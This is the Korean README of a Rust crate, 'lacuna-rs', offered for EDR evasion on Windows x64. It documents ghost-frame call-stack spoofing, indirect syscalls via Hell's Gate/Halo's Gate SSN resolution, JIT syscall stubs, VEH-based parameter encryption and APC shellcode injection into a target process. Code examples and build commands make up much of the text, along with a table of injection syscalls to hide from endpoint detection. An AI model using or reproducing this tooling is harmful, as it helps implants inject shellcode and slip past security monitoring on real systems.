
Windows x64용 ghost-frame call-stack spoofing, runtime indirect syscalls 및 APC injection을 위한 Rust crate입니다. SSN resolution, JIT stub emission 및 VEH-based parameter encryption을 제공하여 EDR evasion을 지원합니다.
고스트 프레임 호출 스택 스푸핑 + Windows x64용 런타임 간접 시스템 콜 — Rust로 포팅됨.
Mohamed Alzhrani (0xmaz)의 LACUNA Chain (lacuna_chain.c)에서 포팅되었습니다.
lacuna-rs는 원본 C TTP와 동일한 프리미티브를 제공하는 재사용 가능한 Rust 크레이트로, wsyscall-rs 또는 syscalls-rs처럼 모든 Rust 프로젝트에 바로 포함할 수 있도록 설계되었습니다. 하지만 런타임 SSN 해석, 함수별 syscall;ret 타겟팅, 고스트 프레임 스택 스푸핑을 지원합니다.
stack-spoof기능은 소비 크레이트가 프레임 포인터로 컴파일되지 않은 경우 자동으로 실패합니다.
chain.rs의 스택 스톰핑 프리미티브는 mov rbp, {x} 인라인 어셈블리를 통해 호출자의 반환 주소 슬롯을 찾습니다. 이를 위해서는 RBP 체인이 온전해야 합니다. Rust(및 대부분의 릴리스 모드 컴파일러)는 기본적으로 프레임 포인터를 생략합니다.
build.rs는 이 크레이트 자체의 코드 생성에 대해 force-frame-pointers=yes를 설정하지만, Cargo는 컴파일러 플래그를 다운스트림 크레이트로 전파할 수 없습니다. 자신의 프로젝트에 다음을 추가해야 합니다:
# .cargo/config.toml (lacuna-rs가 아닌 자신의 크레이트에)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
이 설정이 없으면 stomp_plant()는 RBP에서 쓰레기 값을 읽어 아무 작업도 수행하지 않거나(최상의 경우) 스택을 손상시킵니다(최악의 경우). 크레이트는 런타임에 프레임 포인터가 활성화되었는지 감지할 방법이 없습니다. 단순히 작동하지 않습니다.
스캔, SSN 해석, 인젝션 프리미티브(스택 스푸핑 제외)만 필요한 경우 stack-spoof 기능을 생략할 수 있으며, 이 요구 사항은 적용되지 않습니다.
| 프리미티브 | C 함수 | Rust 모듈 |
|---|---|---|
| PE 섹션 + 익스포트 파싱 | pe_section(), pe_export() | pe |
.pdata 고스트 영역 스캔 | scan_ghosts(), best_ghost() | scan |
고스트 가젯 발견 (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP 갭 찾기 | win32u_nop_gap() | scan |
| BYOUD-MF 앵커 찾기 | find_mf_target() | scan |
| SSN 해석 (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
함수별 syscall;ret 로케이터 | find_func_syscall() | nt |
| JIT 간접 시스템 콜 스텁 생성 | alloc_stub() | stub |
| 고스트 가젯 스텁 리디렉션 | (alloc_stub() 내) | stub |
| VEH + 하드웨어 브레이크포인트 파라미터 암호화 | param_encrypt_veh(), pcrypt_arm() | veh |
| 체인 가드 VEH | chain_veh() | veh |
| LACUNA 체인 구축 | build_chain() | chain |
| 스택 스톰프 (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| 체인 워커 (검증) | lacuna_walk_chain() | chain |
| 섹션 기반 APC 인젝션 | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| 기능 | 설명 | 프레임 포인터 필요? |
|---|---|---|
syscalls (기본값) | SSN 해석 + JIT 스텁 생성 | 아니오 |
inject (기본값) | 섹션 기반 APC 인젝션 (inject::inject_sapc) | 아니오 |
veh | VEH + 하드웨어 브레이크포인트 파라미터 암호화 | 아니오 |
stack-spoof | LACUNA 고스트 프레임 체인 + 스택 스톰프 | 예 |
no-std | no_std 모드 (실험적) | 아니오 |
기능이 활성화되지 않으면 스캔/PE/NT 레이어만 사용할 수 있습니다.
cargo run --example scan
cargo run --example verify --features stack-spoof
실제 임플란트를 사용한 인젝션 예제 - C2는 오프라인이었지만 셸코드가 실행됨
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
VEH 진단 출력(스택 덤프, 레지스터 출력)을 활성화하려면 --verbose를 추가하세요:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
대상 프로세스의 모든 스레드에 APC를 대기시키는 대신(너무 많은 스레드가 동시에 알림을 받으면 프로세스가 충돌할 수 있음), inject_sapc는 점수 알고리즘을 사용하여 최상의 MAX_APC_THREADS(5) 후보를 선택합니다:
NtQueryInformationThread(ThreadCycleTime) — 주요 활동 지표NtQueryInformationThread(ThreadTimes) — 커널 + 사용자 시간NtQueryInformationThread(ThreadSuspendCount) — 일시 중단되지 않은 스레드는 +300 보너스; 일시 중단된 스레드는 일시 중단 횟수당 -150NtQueryInformationThread(ThreadBasicInformation) — 우선순위 8-10 스레드는 +150 보너스; 범위를 벗어난 우선순위는 -100 페널티완전히 유휴 상태인 스레드(사이클 및 CPU 시간이 0)는 완전히 건너뜁니다. 나머지 후보는 점수(내림차순, 동점 시 사이클 기준)로 정렬되어 상위 5개로 제한됩니다.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// 고스트 영역 스캔
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} 고스트 영역이 ntdll에 있습니다.", n);
// 특정 함수에 대한 SSN + syscall;ret 해석
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + 함수 자체의 syscall;ret 주소 해석
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT 스텁 생성: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (또는 build_chain이 호출된 경우 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("스텁 할당 실패");
// 해당 함수 포인터 타입으로 캐스팅하여 호출
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u를 스캔하여 6계층 가짜 호출 스택을 구축합니다.
// G_GHOST_GADGET을 설정하여 스텁이 서명된 DLL의 JMP [RBX]를 통해 라우팅되도록 합니다.
lacuna::chain::build_chain();
// VEH 핸들러 등록 (파라미터 암호화 + 체인 가드)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 등록 실패");
// 선택 사항: 런타임에 상세 진단 활성화
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// 고스트 프레임 배치 (반환 주소를 서명된 DLL 고스트로 교체)
lacuna::chain::stomp_plant();
// syscall;ret에 DR0 설정 — VEH가 경계에서 XOR 암호화된 파라미터를 해독합니다.
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// 간접 스텁을 통해 호출 — RIP가 ntdll 내부 커널 진입점에 위치합니다.
let _status = unsafe { open_proc(/* XOR 암호화된 파라미터 */) };
// 보호되지 않은 호출 전에는 항상 비활성화
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
모든 API 호출에 전체 LACUNA 처리가 필요한 것은 아닙니다. 핵심 원칙은 EDR이 인젝션 또는 사후 익스플로잇 활동으로 상관 관계를 맺을 수 있는 호출을 숨기는 것입니다.
다음은 EDR이 후킹하고 상관 관계를 맺는 "크라운 주얼" NT 시스템 콜입니다:
| 호출 | 민감한 이유 |
|---|---|
NtOpenProcess | 다른 프로세스에 대한 핸들 열기 — 인젝션의 첫 단계 |
NtCreateSection + NtMapViewOfSection (원격) | 섹션 기반 인젝션 시그니처 |
NtWriteVirtualMemory | 프로세스 간 쓰기 — 전형적인 인젝션 지표 |
NtCreateThreadEx | 원격 스레드 생성 — 가장 높은 신호의 인젝션 프리미티브 |
NtQueueApcThread | APC 인젝션 — 높은 신호 |
NtProtectVirtualMemory | RWX 권한 변경 — 셸코드 스테이징 지표 |
NtAllocateVirtualMemory (원격) | 원격 할당 — 인젝션 전주곡 |
NtSetInformationThread | 스레드 숨기기 (HideFromDebugger) — 회피 지표 |
이 각각에 대해:
nt::resolve(ntdll, b"NtXxx\0")로 해석stub::make_stub(ssn, syscall_ret)로 스텁 생성veh::pcrypt_arm(key, syscall_ret, true)로 민감한 파라미터 XOR 암호화chain::stomp_plant()와 chain::stomp_restore() 사이에 호출 래핑| 호출 | 안전한 이유 |
|---|---|
NtQueryInformationThread | 읽기 전용, 거의 후킹되지 않음, 프로세스 간 쓰기 없음 |
NtDelayExecution | Sleep — 무해, 모든 애플리케이션이 사용 |
NtClose | 핸들 닫기 — 무해, 매우 일반적 |
GetModuleHandleA / GetProcAddress | 모듈 해석 — 시스템 콜이 아님, EDR 사용자 모드 후킹 불가 |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | 스레드 열거 — kernel32, ntdll 시스템 콜 아님 |
OpenThread / CloseHandle | 표준 핸들 작업 — kernel32 |
GetThreadContext / SetThreadContext | DR0에 필요 — kernel32, 자체 프로세스 전용 |
nt::resolve(ntdll, b"NtXxx\0")로 해석 — (SSN, syscall_ret_VA) 반환.stub::make_stub(ssn, syscall_ret)로 JIT 스텁 생성 — 호출 가능한 함수 포인터 반환.core::mem::transmute를 통해 적절한 extern "system" fn(...) 타입으로 캐스팅.chain::build_chain()으로 고스트 프레임 체인 구축하고 호출 주위에 chain::stomp_plant() / chain::stomp_restore() 사용.veh::pcrypt_arm(key, syscall_ret, true)로 파라미터 암호화 설정, 호출 후 veh::pcrypt_disarm().lc!()로 래핑해야 합니다 — 크레이트가 이를 강제하며, VEH 진단은 기본적으로 꺼져 있는 set_verbose(true) 뒤에 게이팅됩니다.